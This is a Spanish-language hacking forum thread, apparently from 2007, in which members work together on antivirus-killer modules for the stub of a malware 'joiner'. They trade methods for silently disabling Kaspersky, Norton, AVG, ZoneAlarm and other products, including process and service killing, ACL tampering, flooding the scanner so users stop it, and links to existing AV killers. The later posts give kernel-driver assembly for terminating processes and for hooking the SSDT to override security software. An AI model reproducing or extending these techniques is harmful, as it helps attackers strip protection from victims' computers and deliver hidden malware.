Hola gente, cuanto tiempo!! :rolleyes:
Bueno, he estado liado con algunos temas personales pero ya vuelvo ha estar por aquí. He retomado el proyecto del Cactus Joiner y actualmente me estoy centrando en los módulos de AV-Killer para integrarlo todo en el Stub. Os dejo una Screen de lo que llevo hecho:
(http://img147.imageshack.us/img147/4664/cactusavqq4.png)
Ese es el listado que he pensado incluir en esta versión del Cactus, de momento he podido desactivar por código, todos los AV's que aparecen en la imagen excepto:
- Kaspersky 7.0: No encuentro la forma de detenerlo
- Norton 2007: No encuentro la forma de detenerlo
- Panda Internet Security: No lo tengo instalado, no podido probar de deshabilitarlo
- BitDefender v10: No lo tengo instalado, no podido probar de deshabilitarlo
- AVG Free 7.5: Lo consigo deshabilitar pero requiere un reinicio del sistema.
- Trend Micro PC-Cillin 2007: Lo tengo instalado y estoy trabajando actualmente con él.
Todos los demás (Nod32, McAffe, Avira, avast!, OnCare, etc...) los he conseguido deshabilitar a través de código VB6 y en menos de 5 segundos.
Alguien se anima y me ayuda a encontrar el método para los demás AntiVirus? Muchisimas gracias!!
Saludos!! ;)
Eres un monstro Mad!
yo porque no entiendo mucho sobre este temita de Antivirus sino te echaba una mano ;)
Suerte!
Salu2
Ranslsad
hola
Tienen un fuerte sistema de autoproteccion... se escuda muy bien en el registro y sus archivos... no se si conocen un programa que simula un "modo seguro" y cambia el registro de entradas para programas p2p... ya que windows coloca como minimo 10.. y con eso se aumentas las conexiones a las que quieras... como 500 si quieres... pero a lo que voy es... si ese programa puede ejecutarse y simular o emular como le quieran decir... un "modo seguro" para modificar un archivo... que solo puede se modificado en modo seguro... talvez si se lograra hacer eso... se podria eliminar esos antivirus.. he incluso, es mu posible que se pueda eliminar cualquiera...
Aunke bueno... eso es solo una idea...
alguien sabe si Kaspersky puede eliminarse en modo seguro?
bueno.. nos vemos ;D
Cuanto tiempo sin verte por aquí Mad ;).
Citar
El primer link parece un troyano el segundo estoy 90% seguro q es un AVKIller.!!
Estos dos mata firewall y antivirus son nuevos el primero esta el killer de Microchip junto con otro de godbasago<
(http://img518.imageshack.us/img518/9462/antivirustotalqo0.jpg)
Descargar: http://rapidshare.com/files/44395136/AVFW.zip.html
Creado por godbasago post original aqui
Este es el otro
Descargar: http://redmove.persiangig.com/MyPrograms/FWAVK.zip
Creado por redmove.tk post original aqui
Sacado de Infiernohacker.com
:aplauso: :aplauso: :aplauso:
El primer link parece un troyano el segundo estoy 90% seguro q es un AVKIller.!!
Fuente: Freeze-Foro (http://freeze-web.com/foro)
Cuanto tiempo Mad, mira te cuento un poco, el kav en VB olvidate ya mismo de detenerlo, por q? por q el kav tiene un driver, es decir una aplicacion q corre a ring0 y q protege tanto a los archivos como a su proceso de cualkier modificacion.. la solucion para pararlo seria haciendo tu otro driver, pero en VB no se puede, se necesita saber C y asm ademas es un trabajo muy muy costoso.. (te va a pasar lo mismo con el zone alarm)
Para el resto te recomiendo dos cosas (q no te aseguro q funcionen con todos):
1 - Intenta crehsear su proceso, es decir escribir en su espacio de memoria para q peten
2 - Leete esto, q es muy weno: (no consigo subirlo a rapidshare ni a megaupload, por lo pesimo de mi conexión... :-() es un pdf q se llama Win32/Bypass: Anulando la detección de ficheros
Written by FraMe ( frame at kernelpanik.org )
A ver si lo encuentras por google, yo de todas formas seguiré intentando subirtelo ;)
Ya tiene su tiempecillo, pero con win xp funcionará casi todo, en vista espero q lo hallan arreglado (no e provado) pero vamos el stub tampoco iba a funcionar en vista...
Salu3
Cita de: E0N en 15 Octubre 2007, 13:41 PM
(te va a pasar lo mismo con el zone alarm)
Nops, el ZA se puede cerrar ;D
A ver, para matar al KAV solo se ocurren dos maneras. EL Kaspersky tiene un driver .sys corriendo como un servicio en Ring0 y ese driver protege toda la aplicación y sus archivos y entradas del registro, y desde Ring3 no podrás hacer nada...
Pues las soluciones que se me ocurren son o hacer un driver y ascenderlo a Ring0 y desde aí matarlo, y para eso tienes que saber C y bastante bien...
Y la otra forma se puede hacer desde Ring3, pero según Hendrix eso es imposible hacerlo en VB, la solución sería escribir directamente en el disco duro...es decir, escribir directamente en un sector X de archivo X longitud directamente, lo primero sería hayar el sector del driver, después la longitud (facil) y por ultimo escribir en ese sector del disco con 0's por ejemplo...el driver no te va a poner restriccion alguna pork tocas directamente el hardware...a mi me hablaron que con las API's OpenFile y WriteFile se podría hacer pero no lo conseguí...y segun Hendrix en VB no se puede...
Weno y los otros pienso que se pueden matar así:
Primero asciendes a SYSTEM con el comando AT o con el SCHTASKS (esto es importante) y después matas los procesos y servicios...es decir ejecutas varias veces un bucle (para asegurarse) que termine los procesos y servicios y elimine los ejecutables y servicios...
Weno espero que te sea util, mas cosas dilas...
Saludos ;)
CitarNops, el ZA se puede cerrar
Si????? y como??? :huh: :huh: :huh: :huh:
A ver, esto del driver que deja el KAV en modo Ring0 no es problema y he conseguido matar el AntiVirus Karspersky 7.0 desde VB6 sin usar el comando AT ni drivers. El único problema es que para que el AV-Killer del KAV funcione requiere un reinicio del PC, y claro, implementar esto en un Joiner es una tontería.
Esto mismo me ocurre con el AVG Free Antivirus (sí, sí, un antivirus gratuito!), me es imposible matarlo sin necesidad de reiniciar el PC antes.
Alguna idea?
Los demás AntiVirus del listado están todos muertos, no he usado ni elevaciones de privilegios (comandos AT ni similares) ni exploits, solo código VB6 puro y duro. Me quedan:
AVP (sin tener que reiniciar)
AVG (sin tener que reiniciar)
Norton 2007 (No me he puesto ni a intentarlo)
Panda (No me he puesto ni a intentarlo)
TrendMicro PC-Cillin (No me he puesto ni a intentarlo)
Por si alguien le interesa como matar el KAV con un reinicio solo decir que investiguen las ACL's, el comando SC y CACLS
Esta semana instalo el vmware e intento detener algunos.
Solucionaste el problema de las comillas en la entrada de registro que me habias dicho por msn?
Intenta ejecutar echo fuck-you! > db.antivirus talves puedas dejar la base de datos en blanco con tan solo vaciarle un echo dentro. Puedes intentarlo también con sus ejecutables que se activan solamente al detectar un virus denegando su eliminación.
Yo una ves me puse a crear un programa en C quu le das un archivo y lo abre con fget y no puedes tener acceso a dicho archivo ya que está siendo utilizado por el programa... talves puedas implementarlo sobre la base de datos o algo asi. Fijate que generalmente los antivirus te piden pass para hacer todo menos actualizarlo, talves puedas configurar atraves del registro la fecha de actualización y la ruta a buscar dichas actualizaciones tal como te lo había dicho y le das una basse de datos modificada con la fecha actual pero en blanco o que haga conflicto al leerla.
Hay algunos firewalls que se caen al hacer un flood de sockets... ya sabes a lo que me refiero ;D el mismo principio del tdos
Intenta desempacar virus muy pequeños... de esos que son en batch muchisimas veces por segundo atascando el antivirus o haciendo que el usuario lo detenga y cuando muera el proceso entonces que se desempaque el verdadero. Ojo que a veces te da la ruta del que lo está desempacando asi que puedes hacer un desempaque aleatorio y que se ejecute y ese archivo que desempaque los virus una y otra ves hasta que el user se aburra y lo detenga. Eso hacían con norton antiguamente con los correos... enviaban tantos correos ocultos que el norton se atascaba y tenias que cerrarlo.
Intenta eso... Flood flood flood hasta que el user se aburra y detenga el proceso y un m,onitor que verifique ese proceso para poder desempacar el original y si if not exist virus.exe entonces aún está activo.
Weno pues la verdad yo cuando prové con el KAV 6 y no me daba permisos ni para modificar el directorio ni el registro (donde se encuentra el servicio) pues lo primero que hice fue provar con CALCS y a modificar las ACL's, pero aunke me ponia permisos totales me seguía sin dejar, por eso suponí que era el driver...también prové con SC pero parar no se puede y borrar si, pero hay que reiniciar la PC...tampco prové si realmente así se borraba...pués también eso de tener que reiniciar no me servía de nada...
Varias preguntas, yo estoy haciendo un AV/FW-Killer, para matar a los procesos utilizo el comando taskkill...como haces tu para matarlos?? ya que la API TerminateProcess es detectada por casi todos los AVs...
Que APIs puedo utilizar en vez del comando CALCS (para que me quede mas en VB mas puro)??
Y por último como haces para matar a algunos sin ascender a SYSTEM?? Serviría con la API AdjustTokens para conseguir esos privilegios??
Saludos ;)
tskill nombre del proceso
Cita de: nhaalclkiemr en 15 Octubre 2007, 15:04 PM
Y la otra forma se puede hacer desde Ring3, pero según Hendrix eso es imposible hacerlo en VB, la solución sería escribir directamente en el disco duro...es decir, escribir directamente en un sector X de archivo X longitud directamente, lo primero sería hayar el sector del driver, después la longitud (facil) y por ultimo escribir en ese sector del disco con 0's por ejemplo...el driver no te va a poner restriccion alguna pork tocas directamente el hardware...a mi me hablaron que con las API's OpenFile y WriteFile se podría hacer pero no lo conseguí...y segun Hendrix en VB no se puede...
Eso desde Ring3 no se puede, Para mas info: aqui (http://en.wikipedia.org/wiki/Ring_%28computer_security%29)
E0n, lo del ZA lo consegui inyectando "basura" dentro de su codigo y ejecutandolo...Eso en una cuenta no-admin no funciona....
Cita de: ||MadAntrax|| en 15 Octubre 2007, 16:18 PM
A ver, esto del driver que deja el KAV en modo Ring0 no es problema y he conseguido matar el AntiVirus Karspersky 7.0 desde VB6 sin usar el comando AT ni drivers. El único problema es que para que el AV-Killer del KAV funcione requiere un reinicio del PC
Precisamente por eso se requiere el driver ;D
Cita de: nhaalclkiemr en 15 Octubre 2007, 15:04 PM
Y la otra forma se puede hacer desde Ring3, pero según Hendrix eso es imposible hacerlo en VB, la solución sería escribir directamente en el disco duro...es decir, escribir directamente en un sector X de archivo X longitud directamente, lo primero sería hayar el sector del driver, después la longitud (facil) y por ultimo escribir en ese sector del disco con 0's por ejemplo...el driver no te va a poner restriccion alguna pork tocas directamente el hardware...
La idea es buena y funcionaría si se tratara de un proceso y no de un driver, me explico... El KAV usa 3 drivers guardados en
%SystemRoot%\System32\drivers\kl1.sys
%SystemRoot%\System32\drivers\klif.sys
%SystemRoot%\System32\drivers\klim5.sysSólo uno de estos 3 drivers es el encargado de las protecciones y los otros 2 se protegen entre sí (esta información esta en el registro). La idea de Hendrix es sobreescribir estos archivos directamente en el sector del disco duro, pero para este caso no serviría de nada, pues los drivers SON CARGADOS EN MEMORIA AL INICIO DEL SISTEMA.
Para poner en practica la idea de Hendrix tendriamos que cambiar la palabra "disco duro" por "memoria RAM" dejando su teoría en:
CitarCrear un programa que localizara los sectores de la memoria RAM donde se hallen cargados los drivers para sobreescribirlos, CON EL INCONVENIENTE que ese espacio de RAM ha sido reservado (con un simple mAlloc por ejemplo) desde Ring0.
O lo que es lo mismo, no puedes modificar un espacio de memoria que ya ha sido reservado por un "usuario" más fuerte que tú (Ring0).
Vamos, que nos olvidemos de cargarnos esos 3 drivers, es imposible (o al menos es imposible cargarselos sin necesidad de reiniciar).
Alguna idea más? xD
es lo k keda...ascender a Ring0...mientras tanto no habría alguna manera de confundir al Kaspersky o algo?...si no lo veo dificil...
Weno mi idea de los discos duros si weno...ya suponía que tendría que reiniciar...y para escribir en memoria los drivers...mmm...esta complicado pork como dice Mad hay que estar en Ring0...
Una pregunta, para ascender a Ring0 yo se que hay que correr un driver .SYS como un servicio, pero para hacer esto hay que reiniciar???? pork si no ya estaría...
La verdad llevo mucho tiempo mirando como joder al KAV y de momento no encontré muchas soluciones...
Sobre los drivers no entendí una cosa, uno protege la aplicación, pero eso de k los otros se protegen entre ellos no lo entendí muy bien...a k te refieres entre ellos, no lo protege el mismo que protege la aplicación??
Saludos ;)
Se me olvidó decir k una posible solución que se me ocurrió sería hacerse pasar por el programa de desinstalación...lo malo es que pienso k primero tienes que cerrar el Kaspersky de manera manual y despues desinstalarlo, además creo k necesitas reiniciar también...
O te podrías hacer pasar por el humano para desactivarlo...pero pienso k esto no se puede...
Saludos ;)
Se nos han adelantado.... recuerdo hace meses que ANELKAOS advirtió de un bug en KAV que permitía la ejecución de código remoto, para ello se basaban en un bug del driver klif.sys
Aqui la review (http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=505)
Este método era bueno, explotar un bug própio del driver, aunque ahora ya está parcheado...
Sobre los 3 drivers, uno de ellos es para monitorear el AV el otro el Frw y el otro es una protección adicional.
Acabo de hablar con una persona k sabe bastante de C y hace rootkits, k al fin y al cabo son servicios .SYS corriendo como servicios en Ring0 y me dijo que no hace falta reiniciar, k puedes instalar el driver y ejecutarlo sin reiniciar...asi k si consigues crear uno o sabes de alguien k sepa (yo no se C y desde VB no se puede) pues desde aí conseguirás matarlo...es la unica solución...
Si eso le pido a la persona si me puede hacer un driver para matar al KAV...pero entonces dadme la mayor información posible de como lo tiene que hacer...aunke yo tengo algun log para aí k pienso k tiene casi toda la info...
Weno k os parece? saludos ;)
Si, cuando insertas un driver no es necesario reiniciar el equipo (por ejemplo el Process Explorer de Sysinternals aloja un driver SYS temporal y no requiere reinicio).
De todas formas si esta parece ser la unica posibilidad de matar el KAV creo que voy a pasar de él y no la implementaré en el Joiner, ahora te dejo la info para crear el driver para matar el KAV
Lo que yo haría sería crear un driver que volcara todo el contenido que hay en la memoria que aloja el driver del KAV, es decir... La idea es conseguir un LOG donde se muestren las llamadas a las APIS que hace el driver del KAV, saber si carga otros drivers, que instrucciones ejecuta, etc...
Una vez con esta información en nuestro poder podríamos centrarnos en atacar esos otros drivers del propio Windows o a las APIS que permiten monitorear todo el sistema
Esta es mi idea, no se si servirá de algo. Lo que si se es que no es tarea facil
Mad, en posts anteriores dices: La idea de Hendrix....y esa no era mi idea :xD :xD
Por lo del bug del driver...es cierto, lo conocia desde hacer tiempo, aunque no recuerdo que dejara eejcutar codigo, creia que provocaba una BSOD solamente... :-\ :-\
Por el tema drivers, Mek me proporcionó la DDK para Fasm, e echo algunos drivers, aunque poca cosa, si quereis puedo mirar de hacer el driver ese que comentas Mad ;)
PD: Hay (o habia, no lo encuentro :-\) un articulo sobre drivers "anti-cheats" que hookeaban la SSDT o la SDT (no lo recuerdo) y hablaron sobre como hookear direcciones ya hookeadas por esos drivers, es una pena que no encuentre el post... :-\ :-\
yo te puedo ayudar a hookear el kernel hendrix. de hecho hacer un solo driver para matar todos los avs no es mucho codigo y es menos que escribir un modulo por av.
digamos que el av este hookea X funciones, es facil saber que esta hookeando haciendo un dump con windbg. ahora ¿como se matan procesos desde un driver?
PsLookupProcessByProcessId
PspTerminateProcess
simplemente con estas dos funciones se pueden matar todos los procesos. la primera es para conseguir la EPROCESS requerida por la segunda.
push buffer_para_eprocess
push pid
call [PsLookupProcessByProcessId]
push 0
push buffer_para_eprocess
call [PspTerminateProcess]
con esto ya estaria, lo unico que se tiene es que pasar el pid desde la aplicacion en ring3 a la aplicacion en ring0.
saludos.
Eso mismo te hiba a decir, seria para matar aplicaciones que se peudan "localizar" desde Ring3....para finalizar drivers como se haria???Ya que con el driver del Kav funcionando seria inutil finalizar su proceso ;)
no creas que seria inutil, sabiendo que funciones hookea se restauran por ejemplo. despues yo creo que el proceso en ring3 se comunica con los drivers y estos trabajan si ese proceso no esta los drivers no hacen nada. todo es probar y ya veriamos como anularlos.
Ok, por la noche me metere a probarlo... ;) ;)
Un Saludo :)
Por cierto, como ejecutas los drivers sin tener que reiniciar??? :huh:
los añado como servicio y despues pido que se inicien. a la hora de estar escribiendolos por comodidad uso osrloader.
Weno yo en este tema ya no me meto k no se mucho pero parece k va a ser la única solución, es cuestión de probar...a ver k sale :xD
Saludos ;)
Cita de: ̿̿̿̿̿̿̿̿̿ en 16 Octubre 2007, 14:26 PM
los añado como servicio y despues pido que se inicien. a la hora de estar escribiendolos por comodidad uso osrloader.
OSRLoader u OSLoader??? si es la primera, puedes pasarme link???ya que no encuentro nada en google... :-\
aqui te lo dejo. en service start deja demand pq si tiene algun fallo el driver y te da pantallazo te lo dara despues cuando reinicies.
An final lo encontre, pero gracias de todos modos....una cosa, para deprar el driver me baje el Windbg, pero me dice que para depurarlo tienes que estar en otro PC y conectarse a ese PC para depurarlo, no hay otro modo??? :-\ :-\
Muchas gracais :)
Citarpero me dice que para depurarlo tienes que estar en otro PC y conectarse a ese PC para depurarlo, no hay otro modo???
No, esta es la unica forma que hay. lo puedes hacer de otra forma, para saber si los resultados que esperas son los correctos. bajas dbgview y usas DbgPrint para tu ver que todo esta correcto. por ejemplo yo uso esto:
push eax
push msg3
call [DbgPrint]
msg3 db 'NTOSKRNL: %Xh',0
para ver si realmente encuentro la base de ntoskrnl, si te fijas DbgPrint es como printf le puedes especificar el formato. te dejo una imagen y veras que aunque no lo depures puedes saber perfectamente que esta pasando.
(http://img366.imageshack.us/img366/9851/pozimk8.png)
tb es bueno que configures win para que en caso de darte un pantallazo vuelque toda la memoria asi despues podras depurar eso y sabras dnd a fallado.
saludos.
Mad se nota que te estás perdiendo la mitad de tu vida al no saber compilar en C :xD por eso cambié hace bastante vb por c++ ... el nivel que ofrece vb es muy alto como para crear este tipoo de cosas... lo que necesitas en una compilación de bajo nivel como C o ensamblador tal como lo explicó : ̿̿̿̿̿̿̿̿̿ colaborador.
Bien! ahora si...xDDD ahora ya puedo empezar a programar....Ahora a buscar las apis correspondientes y a ver que sale.
Por cierto, sabes mas paginas tipo:
http://undocumented.ntinternals.net/
http://jedi-apilib.sourceforge.net/native/NativeList.html
Para apis en modo Kernel???
Un Saludo :)
Cita de: lll_swamp_lll en 18 Octubre 2007, 03:33 AM
Mad se nota que te estás perdiendo la mitad de tu vida al no saber compilar en C :xD
Ya, pero es que no me gusta C. Lo he intentado pero me aburre con suma facilidad, me quedo con VB :P
Por cierto, quien eres?
Ya le voy pillando el tranquillo a esto...xDDD
Para quien quiera mas info, recomiendo esta web: http://www.osronline.com Tiene una DDK donde dan especificaciones de cada API.
Por cierto Mek, hice esto y me funciono:
import ntoskrnl,DbgPrint,'DbgPrint',\
IoGetCurrentProcess,'IoGetCurrentProcess'
A decir verdad funcióno de suerte, ya que no sabia que IoGetCurrentProcess estubiese en ntoskrnl, mi pregunta es: estan todas hay??? Ya que buse y busque y en todas las paginas (la de microsoft y la de osronline) solo dicen los headers que tienen que llevar, no las "librerias" en donde se encuentran... :-\ :-\
Advertencia - mientras estabas escribiendo, una nueva respuesta fue publicada. Probablemente desees revisar tu mensaje.
Bueno Mad, para gustos colores....la verdad es que con C se pueden hacer cosas como estas, y con ASM igual....Yo programo en C las menores veces posibles, si puedo lo hago o con ASM o en C#... :-\ :-\ si no me queda mas remedio pues lo hago con C....por cierto, si quieres un buen lenguaje mirate el C#, segurisimo que te gusta,s ino pideselo a E0N :xD :xD
Cita de: Hendriҳ en 18 Octubre 2007, 11:48 AM
Bueno Mad, para gustos colores....la verdad es que con C se pueden hacer cosas como estas, y con ASM igual....por cierto, si quieres un buen lenguaje mirate el C#, segurisimo que te gusta
Passsssssoooooo, llámame cabezón pero le he pillado gusto al VB6 y cualquier otro lenguaje me resulta muy complicado. Seguiré fiel al VB6 y COMO MUCHO me paso a .Net
xD
...
..........................................................
...
..........................................................
...
..........................................................
...
..........................................................
...
feo swamp
Citarya que no sabia que IoGetCurrentProcess estubiese en ntoskrnl, mi pregunta es: estan todas hay??
mirale la export a ntoskrnl
CitarBueno Mad, para gustos colores....la verdad es que con C se pueden hacer cosas como estas, y con ASM igual....Yo programo en C las menores veces posibles, si puedo lo hago o con ASM o en C#... si no me queda mas remedio pues lo hago con C....por cierto, si quieres un buen lenguaje mirate el C#, segurisimo que te gusta,s ino pideselo a E0N
Si, si, lo apollo C# es wenisimo y muy facil, te recomiendo q lo mires, aunke ya puesto podrias aprender C++ q es mas potente xDD (si aprendes C++ C# es cuestion de ponerse una semana, lo digo por experiencia...) pero bueno, tu haz lo q kieras... Yo solo te digo q C# da 1000 vueltas a VB6 en todo, hasta en la facilidad para crear interfaces :P
Ya volviendo al tema principal: me mirare todo el hilo, ya q llevo algun tiempo off y miraré a ver si puedo hecharte una mano con las cosas en C ;)
Hola, yo pienso que matar AV/FW es muy facil.
Pero no en todos los casos. Por lo menos para mi han sido imposibles:
AVG Free
Kaspersky 7.0
Norton IS
Zone Alarm
OutPost Firewall
De resto lo que mas tarda es codear xD
Lo unico que se debe hacer al momento de Matar AVs es examinar muy bien sus archivos, el registro, los procesos y servicios.
PD: De hecho hay AVs que con desactivar el Servicio se matan :xD :xD ajajajaa
PD2: No insistan matar al KAV es muy dificil :xD por no decir imposible :xD
CitarPD2: No insistan matar al KAV es muy dificil por no decir imposible
imposible seguro que no es. ya esta claro lo que el hace y es por ejemplo en openprocess if pid=pid_del_kav return ERROR_ACCESS_DENIED y cositas asi. lo que hay que hacer es lo que hay que hacer.
Mek, para finalizar el driver del Kav tengo que usar el IoDeleteDevice (http://www.osronline.com/DDKx/kmarch/k104_3wky.htm), no es asi??? Pero en este caso necesitaria el DeviceObject del Kav, como lo saco??? :-\
Eso de haber tantisimas apis y no saber trabajar con casi ninguna me da rabia :xD no hay mas remedio que trabajar con ellas y aprender :)
CitarYa, pero es que no me gusta C. Lo he intentado pero me aburre con suma facilidad, me quedo con VB
Es como comparar a un futbolista juvenil local, con un futbolista profesional e internacional.
voy a por el norton :P :P :P :xD :xD...esty en ello ya..os ire contando los progresos...cuando tenga tiempo ;)
un saludo! :) :)
CitarMek, para finalizar el driver del Kav tengo que usar el IoDeleteDevice, no es asi??? Pero en este caso necesitaria el DeviceObject del Kav, como lo saco???
eso yo le veo problemas pq a saber donde tiene ese metido el morro lo cierras y despues pantallazo. lo mejor es y lo probe con el sxe que no dejaba injectar, es hookear las funciones que el hookea y no darle a el el control. y no todas las funciones con matar el proceso y poco mas yo creo que bastaria.
saludos.
PD: te dejo una funcion par hookear la funcion que le pases por argumento
proc GetAddr n
mov eax, 4
mov ecx,[n]
mul ecx
mov ecx,[KeServiceDescriptorTable] ;LocaLizar KiServiceTable
mov ecx,[ecx] ;KierviceTable
add eax,ecx
ret
endp
despues la uss asi:
push 7ah ; Numero de la funcion
call GetAddr
mov ecx, _NtOpenProcess ;Direccion de la funcion que remplaza a la original
mov [eax], ecx ; y la escribes en la direccion que toca (que nos devolvio la funcion)
se me olvido ponerte que era el numero de la funcion. si desensamblas zwopenprocess veras esto:
77F65E55 > B8 7A000000 MOV EAX,7A
77F65E5A BA 0003FE7F MOV EDX,7FFE0300
77F65E5F FFD2 CALL EDX
77F65E61 C2 1000 RET 10
ves el numero? pues eso es lo que interesa de cada funcion. este numero no es fijo pero se puede leer en runtime.
Asi de simple nos cepillariamos el hookeo a la zwopenprocess??? :o
TEndre que ponerme a leer bastante sobre hooking en kernel land, ya que me es bastante complicado, este cambio de "land" es bastante grande :xD
Me recomiendas algo en español??? (Se que hay poca cosa :S)
Si no me tender que conformar con los tochos que hay por hay "in english"...
Intentare hacer practicas con el Driver del Kav :-\
A ver si cuando alguien consiga algo postea el driver o algo...o por privado al menos :-[
Freeze, recuerda "Imposible is nothing"
Saludos ;)
CitarAsi de simple nos cepillariamos el hookeo a la zwopenprocess???
no, asi de simple hookeas el kernel. pero claro si kav ya a hookeado tb lo jodes a el ya que no se llamara a su funcion. en español no hay nada almenos publico o esta muy escondido. pero vamos te explico yo aqui en un momento como hookear la ssdt.
localizamos la base de el kernel:
Citar
lkd> dc nt
804d4000 00905a4d 00000003 00000004 0000ffff MZ..............
OK,804d4000h
Citar
lkd> dd KeserviceDescriptorTable
8054c540 80502da8 00000000 0000011c 805033c4
OK, 80502da8h =KiServiceTable vamos a ver que nos espera aqui.
lkd> dd 80502da8
80502da8 80596d42 8057f565 8057d419 805c281a
80502db8 805754d4 806188d8 8061aa48 8061aa85
80502dc8 8056c5ec 806272c6 806183d4 8057c753
80502dd8 806123bb 8057d77a 80577729 8060bd61
80502de8 8057d532 8058feb9 805617f0 805536d3
80502df8 805100c5 8060fd31 8056720f 804e9362
80502e08 8057ac7a faa87818 8057d3e4 8062be5e
80502e18 8061b5a9 80597234 8062c08a 805759e6
lo ves? un array de punteros a funciones, de ahi que en la funcion que puse multiplicase por 4 para llegar a la posicion de la funcion (4 bytes por elemento). pues solo tenemos que escribir ahi la direccion de nuestra funcion, y si te fijas todas las direcciones empiezan por 80XXX como vimos antes la base, entonces se puede verificar que funciones estan hookeadas. antes de escribir verifica el registro CR0 no tenga el bit de proteccion de escritura y te de un pantallazo.
y eso es todo, no es nada complicado lo malo es la escasa o nula informacion. pero tocando se aprende jeje.
saludos.
Machas gracias tio, sobretodo por el tiempo que empleas explicandome esto, lo que e entendido, sila funcion no empieza por 80 es que esta hookeado,no?? Y otra cosa, como "dumpeas" esto??? que programa usas para hacerlo??
Muchas gracias ;)
claro, si te fijas la base del kernel era 80XX pues tiene que esta dentro de, si no es que esa funcion esta hookeada. uso windbg, kernel debug > pestaña local.
Bua, en el Windbg se tiene que hacer por conexion de PC's, no??? eso es lo que no me gusta :S
Bueno, muchas gracias ;)
Cita de: Hendriҳ en 24 Octubre 2007, 20:04 PM
Bua, en el Windbg se tiene que hacer por conexion de PC's, no??? eso es lo que no me gusta :S
Bueno, muchas gracias ;)
Si es XP o superior podes usar lo que te dijo ̿̿̿̿̿̿̿̿̿ . File>>Kernel Debug>>Local, podes ver y modificar la memoria pero no depurar realmente.
Agrego ya que estamos que tambien se puede usar el LiveKd (http://www.microsoft.com/technet/sysinternals/SystemInformation/LiveKd.mspx) de Sysinternals para Windows 2000 y el descontinuado SoftICE para depurar localmente.
Muchas gracias eternal, es que no tenia el Pc para probarlo (no estoy en casa)
Cita de: Hendriҳ en 24 Octubre 2007, 20:24 PM
Muchas gracias eternal, es que no tenia el Pc para probarlo (no estoy en casa)
De nada, pero igual en cuanto quieras depurar tu codigo (que si escribis algun modulo de modo Kernel lo vas a querer hacer seguro) mejor que vayas preparando dos maquinas con puerto serial o firewire y su correspondiente cable.
intentare pasar sin, con el Debugger ese (no me acuerdo como se llama)
Haber, ahora ya estoy en casa, e intentado hacer practicas y tengo un fallo (ya sabia que lo tendria), aqui el codigo:
format PE native
entry DriverEntry
include 'INCLUDE\win32a.inc'
include 'INCLUDE\ddk\structs.inc'
include 'INCLUDE\ddk\ntddk.inc'
include 'INCLUDE\ddk\ntstatus.inc'
include 'INCLUDE\ddk\native_api.inc'
include 'INCLUDE\ddk\stuff.inc'
section '.c' code readable writeable executable
proc GetAddr n
mov eax, 4
mov ecx,[n]
mul ecx
mov ecx,[KeServiceDescriptorTable] ;LocaLizar KiServiceTable //Aqui el fallo
mov ecx,[ecx] ;KierviceTable
add eax,ecx
ret
endp
proc DriverEntry DriverObject, rp
push msg
call [DbgPrint]
call [IoGetCurrentProcess]
push eax
push msg3
call [DbgPrint]
push 7ah ; Numero de la funcion
call GetAddr
push eax
push msg4
call [DbgPrint]
mov eax,STATUS_SUCCESS
ret
endp
section '.d' data readable writeable
msg db 'Driver cargado',0
msg3 db 'Mi PID es: %Xh',0
msg4 db 'La direccion de zwopenprocess es: %Xh',0
data import
syslibrary ntoskrnl,'ntoskrnl.exe'
import ntoskrnl,DbgPrint,'DbgPrint',\
IoGetCurrentProcess,'IoGetCurrentProcess'
end data
section '.reloc' data fixups readable discardable
El fallo es en la linea que marque, se supone que se tiene que "declarar" o algo, no??? e estado mirando otros codigos aprecidos (http://www.rohitab.com/discuss/index.php?showtopic=17892&mode=threaded&pid=10020467) y tampoco se declara....Sacame de dudas Mek :xD
es exportada por ntoskrnl
import ntoskrnl,DbgPrint,'DbgPrint',\
IoGetCurrentProcess,'IoGetCurrentProcess',\
KeServiceDescriptorTable,'KeServiceDescriptorTable'
PD: mirate en el ddk ntosrnl.inc y veras que sorpresa jeje, no estan todas pero las puedes ir añadiendo a mano.
Por fin lo e cargado.... :xD :xD Me a dado esto:
CitarDriver cargado
Mi PID es: 86FC69C8h
La direccion de zwopenprocess es: 80552568h
Por lo que se puede ver que zwopenprocess no esta hookeada, y yo me pregunto, se puede hacer el proceso inverso??? es decir, sacar desde la funcion
el nombre de esta funcion??? para asi "rastrear" la SSDT para buscar que apis estan hookeadas???
En el post que trabajasteis el sexe vi que el tio que tambien participaba tenia un programa para ver que API's estaban hookeadas por el sexe, este porgrama qual es???
Por si te sirve de algo, aqui te dejo el dumpeado de la SSDT:
Citarlkd> dd 868a2588
868a2588 80598746 805e5914 805e915a 805e5946
868a2598 805e9194 805e597c 805e91d8 805e921c
868a25a8 8060a880 8060b5d2 805e0cac 805e0904
868a25b8 805c9928 805c98d8 8060aea6 805aa334
868a25c8 8060a4be 8059cbbc 805a4786 805cb406
868a25d8 804feed0 8060b5c4 8056ae64 805343f2
868a25e8 80603b90 aae47aa0 805e9694 80618a56
868a25f8 805edb86 80598e34 80618caa 805986e6
Un Saludo :)
Por cierto IoGetCurrentProcess no devuelve un PID sino un PEPROCESS que siempre va a ser el de SYSTEM (DriverEntry se ejecuta siempre bajo el contexto de un hilo del sistema). PID = PsGetCurrentProcessId.
Una tecnica que se usa normalmente es apoyarse en NTDLL.dll - especialmente para las funciones que no estan exportadas - donde hay stubs que pasan a modo Kernel con el numero del servicio correspondiente, ej.:
ntdll!ZwCreateFile:
77f3f414 b83c000000 mov eax,3Ch << numero del servicio
77f3f419 ba0003fe7f mov edx,offset SharedUserData!SystemCallStub (7ffe0300)
77f3f41e ff12 call dword ptr [edx]
77f3f420 c22c00 ret 2Ch
Otra cosa, las funciones esas son las Nt* no Zw*. En modo Usuario no hay diferencia (una es alias de la otra) pero en modo Kernel no es lo mismo.
http://www.osronline.com/article.cfm?article=257
http://www.osronline.com/login.cfm?prompt=ntInsider&id=266
Si, ya sabia que no era el PID, aunque lo llame asi por llamarlo de algun modo :)
Por cierto eternal, el IoDeleteDriver, que le tengo que pasar para terminar el proceso de mi driver??? el PEPROCESS?? En google no me sale eso :-\ ademas, en otros codigos vi que utilizaban el IoDeleteSymbolicLink, pero tampoco se que pasarle....
Muchas gracias a los 2 :)
Cita de: Hendriҳ en 24 Octubre 2007, 22:22 PM
Por cierto eternal, el IoDeleteDriver, que le tengo que pasar para terminar el proceso de mi driver??? el PEPROCESS??
Eso lo unico que hace es dereferenciar un PDRIVER_OBJECT y no esta documentado, no te lo recomiendo para nada. Un driver no tiene un proceso, se ejecuta en un hilo bajo el contexto de un proceso no determinado.
